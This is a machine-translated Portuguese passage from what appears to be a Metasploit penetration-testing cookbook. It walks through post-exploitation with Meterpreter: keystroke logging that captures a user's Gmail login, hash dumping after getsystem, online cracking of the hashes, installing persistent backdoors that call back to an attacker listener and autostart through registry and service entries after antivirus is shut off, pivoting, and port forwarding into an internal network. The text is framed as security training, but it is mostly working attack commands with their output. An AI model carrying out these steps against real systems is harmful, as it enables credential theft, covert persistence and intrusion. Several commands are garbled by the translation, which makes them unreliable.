chega da porta 20. Portanto, se A enviar qualquer pacote na porta 20 de B, ele será encaminhado automaticamente para o host C.
Portanto, o host B está encaminhando seus pacotes para o host C.

Como funciona...
Para iniciar o encaminhamento de porta com um host remoto, podemos adicionar uma regra de encaminhamento primeiro.
Considere a seguinte linha de comando:

Meterpreter> portfwd -a -L 127.0.0.1 -l 444 -h 69.54.34.38 -p 3389

Observe os diferentes parâmetros de comando. Com o parâmetro –a podemos adicionar uma nova regra de encaminhamento
de porta. O parâmetro -L define o endereço IP ao qual vincular um soquete encaminhado. Como estamos executando tudo isso
no host A e queremos continuar nosso trabalho no mesmo host, definimos o endereço IP como 127.0.0.1.

-l é o número da porta que será aberta no host A, para aceitar conexões de entrada. -h define o endereço IP do host C ou
qualquer outro host dentro da rede interna. -p é a porta à qual você deseja se conectar, no host C.

Esta foi uma demonstração simples do uso do encaminhamento de porta. Essa técnica é usada ativamente para contornar firewalls
e sistemas de detecção de intrusão.

O getdesktop e o sniffing de pressionamento de tecla


Nesta receita, vamos lidar com alguns dos comandos de interface do usuário stdapi associados a desktops e detecção de
pressionamento de tecla. A captura dos pressionamentos de tecla depende da área de trabalho ativa atual, portanto, é essencial
entender como podemos detectar diferentes pressionamentos de tecla alternando entre os processos em execução em diferentes
sessões ativas da área de trabalho. Vamos avançar com a receita para entender isso profundamente.

131
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Como fazer isso...


Vamos começar executando alguns dos comandos da interface do usuário com os quais trataremos principalmente nesta
receita. Eles são os seguintes:

f enumdesktops: Este comando listará todas as áreas de trabalho e janelas acessíveis


estações.

meterpreter > enumdesktops

Enumerando todos os desktops acessíveis

Desktops

========

Nome da Estação de Sessão

------- ------- ----

0 Padrão WinSta0

0 WinSta0 Desconectar

0 WinSta0 Winlogon

0 SAWinSta SADesktop

Aqui você pode ver que todas as estações de trabalho disponíveis estão associadas à sessão 0. Veremos em
breve o que exatamente queremos dizer com sessão 0.

f getdesktop: Este comando retorna a área de trabalho atual na qual nossa sessão meterpreter está funcionando.

meterpreter > getdesktop

Sessão 0\Serviço-0x0-3e7$\Padrão

Você pode relacionar a saída do comando getdesktop com enumdesktops para entender sobre a
estação de trabalho atual na qual estamos trabalhando.

f setdesktop: Este comando é usado para alterar a área de trabalho do meterpreter atual para outra estação de
área de trabalho disponível.

f keyscan_start: Este comando é usado para iniciar o sniffer de pressionamento de tecla na estação de trabalho
ativa atual.

f keyscan_dump: Este comando despeja as teclas registradas do ativo


sessão de área de trabalho do meterpreter.

Vamos agora analisar como esses comandos funcionam em um cenário de tempo real e como podemos farejar as teclas
digitadas em diferentes estações de trabalho.

132
Machine Translated by Google

capítulo 5

Como funciona...
Antes de prosseguirmos com a receita, veremos um conceito importante sobre a área de trabalho do
Windows.

A área de trabalho do Windows é dividida em diferentes sessões para definir as maneiras pelas quais podemos
interagir com a máquina Windows. A sessão 0 representa o console. As outras sessões — Sessão 1, Sessão 2
e assim por diante representam sessões de área de trabalho remota.

Portanto, para capturar as teclas do sistema que invadimos, devemos trabalhar no desktop
Sessão 0:

Sessão 0

WinSta0 (estação de janela interativa)

Padrão (Área de Trabalho)

(área de trabalho)
desconectar (Área de Trabalho)

Winlogon (Área de Trabalho)

Serviço-0x0-3e7$ (estação de janela não interativa)

Padrão (Área de Trabalho)

Serviço-0x0-3e4$ (estação de janela não interativa)

Padrão (Área de Trabalho)

SAWinSta (estação de janela não interativa)

Padrão (Área de Trabalho)

Cada sessão da área de trabalho do Windows é composta por diferentes estações. No diagrama anterior,
você pode ver diferentes estações associadas à Sessão 0. Dessas estações, WinSta0 é a única estação
interativa. Isso significa que o usuário pode interagir apenas com a estação WinSta0. Todas as outras
estações são não interativas. Agora, o WinSta0 consiste em três áreas de trabalho diferentes: padrão,
desconectar e iniciar sessão. A área de trabalho padrão está associada a todos os aplicativos e tarefas que
executamos em nossa área de trabalho. A área de trabalho Desconectar está relacionada à área de trabalho
de bloqueio do protetor de tela. A área de trabalho do Winlogon está relacionada à tela de login do Windows.

O ponto a ser observado aqui é que cada área de trabalho possui seu próprio buffer de teclado. Portanto,
se você precisar farejar as teclas digitadas na área de trabalho padrão , precisará garantir que o navegador
ativo do medidor atual esteja definido como Sessão 0/WinSta0/Padrão. Se você tiver que farejar a senha de
logon, terá que alterar a área de trabalho ativa para Sessão 0/WinSta0/Winlogon. Vamos dar um exemplo para
ficar mais claro.

133
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Vamos verificar nossa área de trabalho atual usando o comando getdesktop :

meterpreter > getdesktop

Sessão 0\Serviço-0x0-3e7$\Padrão

Como você pode ver, não estamos na estação WinSta0 , que é a única estação de desktop interativa. Portanto,
se executarmos uma captura de pressionamento de tecla aqui, ela não retornará nenhum resultado. Vamos mudar
nossa área de trabalho para WinSta0\Default:

meterpreter > setdesktop

Alterado para desktop WinSta0\Default

meterpreter > getdesktop


Sessão 0\WinSta0\Padrão

A linha de comando anterior mostra que mudamos para a estação de área de trabalho interativa do Windows
usando o comando setdesktop . Então, agora estamos prontos para executar um keystroke sniffer para
capturar as teclas pressionadas pelo usuário na máquina de destino:

meterpreter > keyscan_start


Iniciando o sniffer de pressionamento de tecla...

meterpreter > keyscan_dump


Despejando pressionamentos de tecla capturados...

gmail.com <Return> daklord <Tab> 123123

Observando as teclas digitadas, você pode identificar claramente que o usuário-alvo foi para gmail.com e
inseriu suas credenciais para fazer login.

E se você quiser farejar a senha de login do Windows? Obviamente, você pode alternar sua área de trabalho ativa
para WinSta0\Winlogon usando o comando setdesktop , mas aqui também discutiremos uma abordagem alternativa.
Podemos migrar para um processo que é executado durante o logon do Windows.
Vamos executar o comando ps para verificar os processos em execução.

Você encontrará winlogon.exe sendo executado como um processo com um ID de processo. Vamos supor que o ID
do processo (PID) do winlogon.exe seja 1180. Agora vamos migrar para este PID e verificar novamente nossa área
de trabalho ativa:

meterpreter > migrar 1180

[*] Migrando para 1180...

[*] Migração concluída com sucesso.

134
Machine Translated by Google

capítulo 5

meterpreter > getdesktop


Sessão 0\WinSta0\Winlogon

Você pode ver que nossa área de trabalho ativa mudou para WinSta0\Winlogon. Agora podemos executar o
comando keyscan_start para começar a farejar as teclas digitadas na tela de logon do Windows.

Da mesma forma, podemos voltar para a área de trabalho padrão migrando para qualquer processo que esteja
sendo executado na área de trabalho padrão. Considere explorer.exe com PID 884:

meterpreter > migrar 884


[*] Migrando para 884...
[*] Migração concluída com sucesso.

meterpreter > getdesktop


Sessão 0\WinSta0\Padrão

Você deve ter notado a importância de migrar para diferentes processos e ambientes de área de trabalho
para detectar pressionamentos de tecla. Geralmente, as pessoas não obtêm resultados quando executam o
keyscan diretamente sem dar uma olhada na área de trabalho ativa atual. Isso ocorre porque o processo no
qual eles penetraram pode pertencer a uma sessão ou estação diferente.
Portanto, mantenha esse conceito de área de trabalho em mente ao trabalhar com detecção de pressionamento de tecla.

Usando um script meterpreter raspador


Até agora, aprendemos sobre vários comandos meterpreter. Aqui, vamos dar uma olhada em um importante
script meterpreter que pode nos ajudar a explorar nosso alvo mais profundamente. O próximo capítulo aborda
extensivamente os scripts meterpreter, então aqui vamos nos concentrar apenas no uso do script.
Durante o teste de penetração, você pode precisar de muito tempo para obter informações sobre o alvo.
Portanto, ter um backup local de informações úteis pode ser realmente útil para os testadores de penetração,
de modo que, mesmo que o alvo esteja inoperante, eles ainda tenham informações para trabalhar. Também
facilita o compartilhamento de informações com outros testadores. O Scraper realiza essa tarefa para nós.

Preparando-se
O script scraper meterpreter pode extrair muitas informações sobre o alvo comprometido, como informações de
registro, hashes de senha e informações de rede, e armazená-las localmente na máquina do testador.

Para executar um script Ruby no destino usando o meterpreter, podemos usar o comando run . A execução
do comando run scraper –h listará os vários parâmetros disponíveis que podemos passar com o script.
Vamos seguir em frente e analisar como podemos baixar as informações localmente.

135
Machine Translated by Google

Usando o Meterpreter para explorar o alvo comprometido

Como fazer isso...


O script faz tudo automaticamente depois de executado. Ele cria um diretório em /root/.msf4/logs/scripts/
scraper onde todos os arquivos são salvos.
Você pode notar um erro durante a execução do script, que pode ocorrer porque um comando pode falhar ao
ser executado no destino (a saída da linha de comando foi reduzida para caber):

meterpreter > executar raspador

[*] Nova sessão em 192.168.56.1:4232...

[*] Reunindo informações básicas do sistema...

[*] Erro ao despejar hashes: Rex::Post::Meterpreter::RequestError priv_ passwd_get_sam_hashes: Falha


na operação: O parâmetro está incorreto.

[*] Obtendo todo o registro...

[*] Exportando HKCU

[*] Baixando o HKCU (C:\Users\DARKLORD\AppData\Local\Temp\UKWKdpIb.reg)

O script baixa e salva automaticamente as informações na pasta de destino.


Vamos dar uma olhada no código-fonte para analisar se podemos fazer algumas alterações de acordo com
nossas necessidades.

Como funciona...
O código fonte para scraper.rb está presente em /pentest/exploits/framework3/scripts/meterpreter.

A experiência em codificação Ruby pode ajudá-lo a editar os scripts para adicionar seus próprios recursos.
Podemos alterar o local do download editando a seguinte linha:

logs = ::File.join(Msf::Config.log_directory, 'scripts','scraper', host + "_" + Time.now.strftime("%Y%m%d.%M%S")


+ sprintf("%.5d",ra nd(100000)) )

Suponha que você também queira obter o resultado de uma lista de processos disponíveis, então você pode
simplesmente adicionar a seguinte linha de código no corpo principal do programa:

::File.open(File.join(logs, "process.txt"), "w") do |fd|


fd.puts(m_exec(cliente, "lista de tarefas")) end

Usando um pouco da linguagem Ruby e reutilização de código, você pode modificar facilmente o código para
adequá-lo às suas necessidades.

136
Machine Translated by Google

capítulo 5

Tem mais...
Vamos aprender sobre outro script meterpreter que pode ser usado para coletar informações
da máquina de destino.

Usando winenum.rb
winenum.rb é outro script meterpreter que pode ajudá-lo a coletar informações sobre o alvo
e baixá-las localmente. Funciona de forma semelhante ao scraper.rb. Você também pode
experimentar este script para ver quais informações extras ele pode fornecer. O script pode
ser encontrado no seguinte local:

/pentest/exploits/framework3/scripts/meterpreter/winenum.rb

137
Machine Translated by Google
Machine Translated by Google

Interpretador de Medição Avançado


6
Scripts
Neste capítulo, abordaremos:

f Passando o hash

f Configurando uma conexão persistente com backdoors f

Pivotando com meterpreter

f Encaminhamento de porta com meterpreter

f Meterpreter API e mixins

f Railgun – convertendo rubi em uma arma f

Adicionando DLL e definições de função ao Railgun

f Construindo um script meterpreter "Desativador do Firewall do Windows" f

Analisando um script meterpreter existente

Introdução

No capítulo anterior, aprendemos sobre vários comandos poderosos do meterpreter que podem ser muito úteis na
pós-exploração. O Meterpreter adiciona muita flexibilidade ao processo de pós-exploração, fornecendo um
interpretador de comandos muito interativo e útil. Isso não apenas facilita a tarefa, mas também a torna mais
poderosa e abrangente.

Neste capítulo, vamos levar o meterpreter um passo à frente aprendendo alguns conceitos avançados.
Até agora, usamos vários comandos e scripts que o Metasploit nos fornece, mas durante o processo de teste de
penetração, pode surgir uma situação em que você terá que adicionar seus próprios scripts ao meterpreter. A
arquitetura modular da plataforma torna muito fácil desenvolver e integrar seus próprios scripts e módulos.
Machine Translated by Google

Script Avançado do Meterpreter

Começaremos este capítulo aprendendo algumas funcionalidades avançadas do meterpreter, como passagem
de hash, giro, encaminhamento de porta e assim por diante. Em seguida, passaremos a desenvolver nossos
próprios scripts meterpreter. Para entender este capítulo completamente, você deve estar ciente dos conceitos
básicos de Ruby. Até mesmo uma ideia básica sobre a linguagem Ruby pode ajudá-lo a criar scripts inteligentes de
interpretação de medidores. Para facilitar os leitores, começarei com alguns conceitos básicos de desenvolvimento.
Em seguida, analisaremos alguns códigos Ruby existentes e veremos como podemos reutilizá-los ou editá-los de
acordo com nossas necessidades. Em seguida, aprenderemos a desenvolver nosso próprio script simples de
medidor de desempenho do "desativador do firewall do Windows".

O capítulo aumentará sua compreensão sobre a plataforma em detalhes. Então, vamos seguir em frente e
começar a elaborar as receitas.

passando o hash
Passar o hash ou hashdump é o processo de extração dos arquivos hash de logon do Windows.
O script hashdump meterpreter extrai e despeja os hashes de senha da máquina de destino. Hashes podem
ser usados para quebrar as senhas de logon e obter entrada autorizada em outros sistemas na LAN para futuros
testes de invasão.

Preparando-se
Antes de começar com a receita, vamos primeiro entender sobre as senhas do Windows e seu formato de
armazenamento.

Quando você digita sua senha na tela de logon do Windows, ele criptografa sua senha usando um esquema de
criptografia que transforma sua senha em algo parecido com isto:

7524248b4d2c9a9eadd3b435c51404ee

Este é um hash de senha. Isso é o que realmente está sendo verificado quando você digita sua senha. Ele
criptografa o que você digitou e o devolve ao que está armazenado no registro e/ou arquivo SAM.

O arquivo SAM contém os nomes de usuário e hashes de senha para cada conta na máquina local ou domínio,
se for um controlador de domínio. Ele pode ser encontrado no disco rígido na pasta %systemroot%system32config.

No entanto, esta pasta está bloqueada para todas as contas, incluindo Administrador, enquanto a máquina estiver
em execução. A única conta que pode acessar o arquivo SAM durante a operação é a conta "Sistema". Portanto,
você deve ter em mente que precisa de um privilégio escalado enquanto tenta despejar os hashes.

Os hashes parecerão completamente estranhos para você, pois são texto criptografado. O Windows usa o
protocolo de segurança NTLM (NT LAN Manager) para fornecer autenticação. É o sucessor do protocolo LM
que foi usado nas versões mais antigas do Windows.

140
Machine Translated by Google

Capítulo 6

Para decodificar os hashes despejados, precisaremos de um descriptografador NTLM/LM. Existem


diferentes ferramentas disponíveis para isso. Alguns deles usam uma técnica de força bruta (John, o
maduro, pwdump), enquanto outros usam tabelas de arco-íris (rainbow crack).

Como fazer isso...


Começaremos com uma sessão meterpreter ativa. Estou assumindo que você penetrou no alvo e ganhou uma
sessão de meterpreter. Você pode consultar as receitas no Capítulo 4, Exploração do lado do cliente e desvio
do antivírus para obter mais detalhes sobre como comprometer uma máquina Windows.
O uso do script é simples e direto. Vamos primeiro verificar nosso privilégio na máquina de destino. Devemos
ter o privilégio do sistema para extrair os hashes. Estaremos usando o comando getuid para saber nosso nível
de privilégio atual. Para escalar nosso privilégio, usaremos o comando getsystem .

meterpreter > testemunhou


Nome de usuário do servidor: DARKLORD-PC\DARKLORD

meterpreter > getsystem


...obteve o sistema (através da técnica 4).

meterpreter > testemunhou


Nome de usuário do servidor: NT AUTHORITY\SYSTEM

Como funciona...
Agora temos privilégios de sistema no destino, então podemos seguir em frente e tentar o script
hashdump.

meterpreter > executar hashdump

[*] Obtendo a chave de inicialização...


[*] Calculando a chave hboot usando SYSKEY
78e1241e98c23002bc85fd94c146309d...

[*] Obtendo a lista de usuários e as chaves...


[*] Descriptografando as chaves do usuário...
[*] Despejando hashes de senha...

Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59
d7e0c089c0:::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
DARKLORD:1000:aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204b
eb12283678:::

141
Machine Translated by Google

Script Avançado do Meterpreter

Você pode ver que o script extraiu com sucesso os hashes de senha do arquivo SAM.
Agora podemos usar ferramentas diferentes para quebrar esse hash. Algumas das ferramentas mais conhecidas são John
the Riper, pwdump, Rainbow crack e assim por diante.

Tem mais...
Vejamos um método alternativo de descriptografar o hash, além de usar as ferramentas discutidas anteriormente.

Descriptografia de senha online Existe um site

muito popular para descriptografar os hashes NTLM/LM http://www. md5decrypter.co.uk/. Ele descobre a
senha combinando o hash com seu enorme banco de dados de hashes para encontrar uma correspondência. É
uma técnica eficaz e rápida para quebrar senhas simples e fracas. A captura de tela a seguir mostra o resultado da
decodificação do hash que despejamos anteriormente:

Como você pode ver, foi encontrada uma correspondência para nosso hash de entrada e a senha legível correspondente
é 123.

Um ponto a ser observado aqui é que a quebra de senhas depende totalmente da força dela.
Uma senha mais fraca será bastante fácil de decifrar em comparação com uma complexa. Senhas
complexas irão gerar hashes que não estão presentes nos bancos de dados online. Portanto, considere
o uso de crackers baseados em tabelas de arco-íris. Mais informações sobre este assunto podem ser
encontradas no seguinte URL:

http://bernardodamele.blogspot.in/#!http://bernardodamele.blogspot. com/2011/12/dump-
windows-password-hashes.html.

142
Machine Translated by Google

Capítulo 6

Configurando uma conexão persistente com


backdoors
Começamos este livro com uma técnica de pré-exploração em que nos concentramos na coleta
de informações. Em seguida, passamos para a fase de exploração onde aprendemos diferentes formas
de comprometer o alvo. Em seguida, aprendemos algumas técnicas úteis de pós-exploração que
podem ser implementadas após o comprometimento do alvo. Agora, nesta receita aprenderemos a
técnica de sempre exploração em que tentaremos estabelecer uma conexão persistente com nosso
alvo, para que possamos nos conectar a ele à nossa vontade. Como o invasor, ou a máquina alvo, não
pode estar sempre disponível, o backdoor do alvo pode ser eficaz para estabelecer conexões persistentes.

Preparando-se
O Meterpreter nos fornece dois scripts que podem realizar a tarefa de backdoor do alvo. Eles
são Metsvc e Persistência. O funcionamento de ambos os scripts é semelhante.
Vamos lidar com esses dois scripts um por um.

Ambos os scripts meterpreter criam arquivos no sistema de destino para que ele
possa acionar alarmes no antivírus. Portanto, é recomendável encerrar o programa
antivírus antes de executar esses scripts.

Como fazer isso...


O script Metsvc funciona criando arquivos temporários, como as DLLs, o servidor backdoor e o serviço
na máquina de destino. O script também pode iniciar um multi/manipulador correspondente para se
conectar automaticamente de volta ao backdoor. –Um parâmetro é usado para essa finalidade. Vamos
executar o script em nossa máquina de destino com Windows 7 e analisar o resultado.

meterpreter > executar metsvc -h

OPÇÕES:

-A Iniciar automaticamente um multi/manipulador correspondente para se conectar


o serviço

-h Este menu de ajuda

-r Desinstale um serviço Meterpreter existente (os arquivos devem ser


excluído manualmente)

meterpreter > executar metsvc –A

143
Machine Translated by Google

Script Avançado do Meterpreter

[*] Criando um serviço meterpreter na porta 31337

[*] Criando um diretório de instalação temporário C:\Users\DARKLORD\ AppData\Local\Temp\ygLFhIFX...

[*] >> Carregando metsrv.dll...

[*] >> Carregando metsvc-server.exe...

[*] >> Carregando metsvc.exe...

[*] Iniciando o serviço...

* Instalando o serviço metsvc

* Serviço inicial

Serviço metsvc instalado com sucesso.

Depois que os arquivos backdoor forem carregados com sucesso, ele se conectará automaticamente de volta
ao multi/manipulador na porta 31337. Usando esse backdoor, podemos nos conectar facilmente à máquina de
destino à nossa vontade.

Outro script de backdoor útil para procurar é o script de persistência. Funciona de maneira semelhante ao
Metscv, mas possui alguns recursos extras, como conectar-se novamente ao destino em intervalos regulares,
conectar-se novamente na inicialização do sistema, execução automática e assim por diante. Vejamos as diferentes
opções disponíveis para nós.

meterpreter > executar persistência –h

Meterpreter Script para criar um backdoor persistente em um host de destino.

OPÇÕES:

-A Iniciar automaticamente um multi/manipulador correspondente para..


-L <opt> Localização no host de destino onde gravar a carga útil..

-P <opt> Carga a ser usada, o padrão é


-S Iniciar automaticamente o agente na inicialização como um serviço

-T <opt> Modelo executável alternativo a ser usado


-EM Iniciar automaticamente o agente quando o usuário fizer logon
-X Iniciar automaticamente o agente quando o sistema for inicializado
-h Este menu de ajuda
-i <opt> O intervalo em segundos entre cada conexão

-p <opt> A porta no host remoto onde o Metasploit..

-r <opt> O IP do sistema executando o Metasploit escutando..

144
Machine Translated by Google

Capítulo 6

Como você pode ver, ele tem algumas opções extras em comparação com o Metsvc. Vamos executar o
script e passar diferentes parâmetros de acordo com nossos requisitos.

meterpreter > run persistence -A -S -U -i 60 -p 4321 –r 192.168.56.101

[*] Script de Persistência em Execução

[*] Arquivo de recurso para limpeza criado em /root/.msf4/logs/persistence/ DARKLORD-PC_20111227.0307/


DARKLORD-PC_20111227.0307.rc [*] Criando carga útil=windows/meterpreter/reverse_tcp

LHOST=192.168.56.101
LPORT=4321

[*] O script do agente persistente tem 610795 bytes de comprimento

[+] Script persistente gravado em C:\Users\DARKLORD\AppData\Local\Temp\ LHGtjzB.vbs

[*] Iniciando o manipulador de conexão na porta 4321 para windows/meterpreter/reverse_tcp

[+] Multi/Handler iniciado!

[*] Executing script C:\Users\DARKLORD\AppData\Local\Temp\LHGtjzB.vbs

[+] Agente executado com PID 5712

[*] Instalando em execução automática como HKCU\Software\Microsoft\Windows\


CurrentVersion\Run\DBDalcOoYlqJSi
[+] Instalado na execução automática como HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\DBDalcOoYlqJSi

[*] Instalando como serviço..

[*] Criando serviço cpvPbOfXj

Como funciona...
Observe os diferentes parâmetros passados junto com o script. O parâmetro –A inicia automaticamente um
ouvinte na máquina de ataque. O operador –S define o backdoor para carregar toda vez que o Windows
inicializa. O operador –U executa o backdoor toda vez que o usuário efetua login no sistema. O operador –i
define o intervalo após o qual o backdoor tentará se conectar de volta ao manipulador do agente. –p é o número
da porta e –r é o endereço IP da máquina de destino.
A saída da execução do script também contém algumas informações úteis. O script criou um arquivo de
recurso para limpeza para que você possa remover o backdoor após o uso. O script criou um arquivo vbs na
pasta temporária da máquina de destino. Também criou entradas de registro para carregar automaticamente
o backdoor toda vez que o Windows é inicializado.

Fornecemos um intervalo de 60 segundos para o backdoor se conectar de volta ao manipulador do agente.


Após a execução bem-sucedida do script, você verá que em um intervalo de 60 segundos uma sessão do
meterpreter será aberta automaticamente na máquina de destino.

Esta demonstração rápida explica como podemos configurar uma conexão persistente com nossa máquina
de destino. Você pode experimentar diferentes cenários com esses dois scripts e analisar seu funcionamento.
Na próxima receita, vamos nos concentrar em outro conceito interessante chamado pivoting.

145
Machine Translated by Google

Script Avançado do Meterpreter

Girando com meterpreter


Até agora, cobrimos a maioria dos principais comandos e scripts do meterpreter. Você deve ter
notado o quão poderoso o meterpreter pode ser durante a fase de pós-exploração. Nesta receita,
discutiremos um dos conceitos mais legais e favoritos, chamado pivoting. Vamos começar com a
receita, primeiro entendendo o significado de pivotar, por que é necessário e, finalmente, como o
Metasploit pode ser útil para pivotar.

Preparando-se
Antes de começar com a receita, vamos primeiro entender o pivotamento em detalhes. Pivoting
refere-se ao método usado por testadores de penetração que usa um sistema comprometido para
atacar outros sistemas na mesma rede. Este é um ataque multicamada no qual podemos acessar
até mesmo as áreas da rede que estão disponíveis apenas para uso interno local, como a intranet.
Considere o cenário mostrado no diagrama a seguir.

comprometido
Sistema

F
EU

R
E
Internet
EM
A
Atacante
eu

eu
Servidor

O invasor pode comprometer os nós externos de uma rede conectada à Internet. Esses nós são
conectados a um firewall. Atrás do firewall está o principal
servidor. Agora, como o invasor não tem acesso ao servidor, ele pode usar os nós como
meio para acessá-lo. Se o invasor conseguir comprometer o nó com sucesso, ele poderá penetrar
ainda mais na rede para alcançar o servidor também. Este é um cenário típico que envolve giro. As
linhas vermelhas no diagrama mostram o caminho articulado configurado entre o invasor e o servidor
através do nó comprometido. Nesta receita, usaremos alguns dos comandos de rede meterpreter que
aprendemos no capítulo anterior.

146
Machine Translated by Google

Capítulo 6

Como fazer isso...


Vamos ver como podemos implementar o cenário discutido anteriormente usando meterpreter.

Neste exemplo, nosso nó de destino é uma máquina com Windows 7 conectada a uma rede.
O servidor está sendo executado no Windows 2003. O nó foi comprometido usando a vulnerabilidade do
navegador do lado do cliente e estabelecemos uma conexão ativa com o meterpreter. Vamos começar
executando um ipconfig no nó de destino para ver as interfaces disponíveis nele.

meterpreter > ipconfig

Interface 1

Hardware MAC: 00:00:00:00:00:00

Endereço IP: 10.0.2.15

máscara de rede : 255.255.255.0

Adaptador Ethernet VirtualBox Host-Only

Hardware MAC: 08:00:27:00:8c:6c

Endereço IP: 192.168.56.1

máscara de rede : 255.255.255.0

Como você pode ver, o nó de destino tem duas interfaces. Um é 192.168.56.1 que está conectado à
Internet e o outro é 10.0.2.15 que é a interface IP para a rede interna.
Nosso próximo objetivo será descobrir quais outros sistemas estão disponíveis nesta rede local. Para
fazer isso, usaremos um script meterpreter chamado arp_scanner. Este script executará uma varredura
ARP na rede interna para descobrir outros sistemas disponíveis.

meterpreter > execute arp_scanner -r 10.0.2.1/24

[*] Varredura ARP 10.0.2.1/24

[*] IP: 10.0.2.7 MAC 8:26:18:41:fb:33

[*] IP: 10.0.2.9 MAC 41:41:41:41:41:41

Portanto, o script descobriu com sucesso dois endereços IP disponíveis na rede.


Vamos pegar o primeiro endereço IP e fazer o pivot nele.

Como funciona...
Para acessar o sistema (que é o servidor) com IP 10.0.2.7, teremos que rotear todos os pacotes pelo
IP 10.0.2.15 que é o nó alvo.

147
Machine Translated by Google

Script Avançado do Meterpreter

Para fazer isso, usaremos um comando chamado route. Também aprendemos sobre esse comando
em nosso capítulo anterior. Para usar este comando, colocaremos em segundo plano a sessão atual
do meterpreter.

meterpreter > plano de fundo

msf exploit(handler) > route add 10.0.2.15 255.255.255.0 1

[*] Rota adicionada

msf exploit(manipulador) > impressão de rota

Tabela de Roteamento Ativa


======================

sub-rede máscara de rede Porta de entrada

------ ------- -------

10.0.2.15 255.255.255.0 Sessão 1

Veja os parâmetros do comando route. O parâmetro add adicionará os detalhes à tabela de roteamento.
Em seguida, fornecemos o endereço IP do nó de destino e o gateway padrão. Por fim, fornecemos o ID
da sessão do meterpreter ativo atual (que é 1).
O comando route print mostra a tabela e você pode ver claramente que todo o tráfego enviado por esta
rede agora passará pela sessão 1 do meterpreter.

Agora você pode fazer uma varredura rápida de porta no endereço IP 10.0.2.7, que
anteriormente era inacessível para nós, mas agora roteamos nossos pacotes através do nó de
destino para que possamos descobrir facilmente as portas e serviços abertos. Depois de descobrir
que ele está executando um servidor Windows 2003, você pode usar o exploit/windows/smb/
ms08_067_netapi ou qualquer outro exploit baseado em sistema operacional para comprometer o
servidor ou acessar seus serviços.

Encaminhamento de porta com meterpreter


A discussão sobre o pivotamento nunca está completa sem falar sobre encaminhamento de porta. Nesta
receita, continuaremos com nossa receita anterior sobre pivotamento e veremos como podemos
encaminhar os dados e a solicitação da máquina atacante para o servidor de rede interno por meio do nó
de destino. Uma coisa importante a observar aqui é que podemos usar o encaminhamento de porta para
acessar vários serviços do servidor interno, mas se tivermos que explorar o servidor, teremos que usar o
conceito completo discutido na receita anterior.

148
Machine Translated by Google

Capítulo 6

Preparando-se
Começaremos com o mesmo cenário que discutimos na receita anterior. Nós comprometemos o nó de destino que é
uma máquina Windows 7 e adicionamos as informações de rota para encaminhar todos os pacotes de dados enviados
na rede através da sessão meterpreter. Vamos dar uma olhada na tabela de rotas.

msf exploit(manipulador) > impressão de rota

Tabela de Roteamento Ativa


======================

sub-rede máscara de rede Porta de entrada

------ ------- -------

10.0.2.15 255.255.255.0 Sessão 1

Então nossa mesa está pronta. Agora teremos que configurar o encaminhamento de porta para que nossa solicitação
seja retransmitida para alcançar o servidor interno.

Como fazer isso...


Suponha que o servidor interno esteja executando um serviço da Web na porta 80 e queremos acessá-lo por meio do
encaminhamento de porta. Agora, para fazer isso, usaremos o comando portfwd . Vamos verificar as opções disponíveis
com este comando e passar os valores relevantes.

meterpreter > portfwd -h

Uso: portfwd [-h] [adicionar | excluir | lista | flush] [args]

OPÇÕES:

-L <opt> O host local para escutar (opcional).


-h Bandeira de ajuda.
-l <opt> A porta local para escutar.
-p <opt> A porta remota a ser conectada.
-r <opt> O host remoto ao qual se conectar.

meterpreter > portfwd add -l 4321 -p 80 -r 10.0.2.7

[*] Retransmissão TCP local criada: 0.0.0.0:4321 <-> 10.0.2.7:80

149
Machine Translated by Google

Script Avançado do Meterpreter

A execução bem-sucedida do comando mostra que uma retransmissão TCP local foi configurada entre o invasor e o
servidor interno. A porta do ouvinte na máquina atacante é 4321 e o serviço para acessar no servidor interno está na
porta 80.

Como já definimos as informações da rota, todo o relay acontece de forma transparente.


Agora, se tentarmos acessar o servidor interno através de nosso navegador usando a URL http://
10.0.2.7:80 então seremos direcionados para o serviço de intranet http da rede interna.

O encaminhamento de porta pode ser muito útil em situações em que você precisa executar comandos
ou aplicativos que o Metasploit não fornece. Em tais situações, você pode usar o encaminhamento de
porta para facilitar sua tarefa.

Esta foi uma pequena demonstração de encaminhamento de porta. Na próxima receita vamos começar com a
programação Ruby para desenvolver nossos próprios scripts meterpreter.

Como funciona...
O encaminhamento de porta funciona com um conceito simples de fornecer um serviço restrito a partir de um local ou
rede não segura. Um sistema/software autenticado ou confiável pode ser usado para configurar um meio de
comunicação entre a rede insegura e segura. Já discutimos um uso simples de encaminhamento de porta no primeiro
capítulo, onde falamos sobre configurar o Metasploit em uma máquina virtual e conectá-lo ao sistema operacional do
host usando o PuTTY.

porta 22 do
servidor ssh

Firewall
bloqueando o acesso
à porta 6667
Porta do
acesso ok
servidor IRC 6667
acesso bloqueado

host local
porta 22 do
porta 1234
servidor ssh

Firewall
bloqueando o acesso
à porta 6667
Porta do
túnel criado
servidor IRC 6667

150
Machine Translated by Google

Capítulo 6

O diagrama anterior demonstra o processo de encaminhamento de porta com um exemplo simples.


A fonte externa deseja acessar o servidor IRC rodando na porta 6667, mas o firewall está configurado para
bloquear qualquer acesso externo à porta 6667 (linha vermelha no diagrama). Assim, a fonte externa se conecta a
um servidor SSH (por exemplo, PuTTY) rodando na porta 22 que não está bloqueada pelo firewall. Isso fornecerá
um desvio de firewall para a fonte externa e agora ele pode acessar o servidor IRC por meio do encaminhamento
de porta da porta 22 para a porta 6667. Portanto, um túnel de acesso é criado (linha azul no diagrama) como
resultado do encaminhamento de porta.

API Meterpreter e mixins


Nos últimos capítulos e meio, aprendemos extensivamente sobre o uso do meterpreter como uma ferramenta
potencial de pós-exploração. Você deve ter percebido o importante papel do meterpreter para tornar nossa tarefa
de penetração mais fácil e rápida. Agora, a partir desta receita, vamos avançar e discutir alguns conceitos avançados
relacionados ao meterpreter. Vamos nos aprofundar no núcleo do Metasploit para entender como os scripts
meterpreter funcionam e como podemos construir nossos próprios scripts.

Do ponto de vista de um testador de penetração, é muito essencial saber como implementar nossas próprias
técnicas de script para atender às necessidades do cenário. Pode haver situações em que você tenha que
executar tarefas em que o meterpreter pode não ser suficiente para resolver sua tarefa.
Então você não pode sentar. É aqui que o desenvolvimento de nossos próprios scripts e módulos se torna útil.
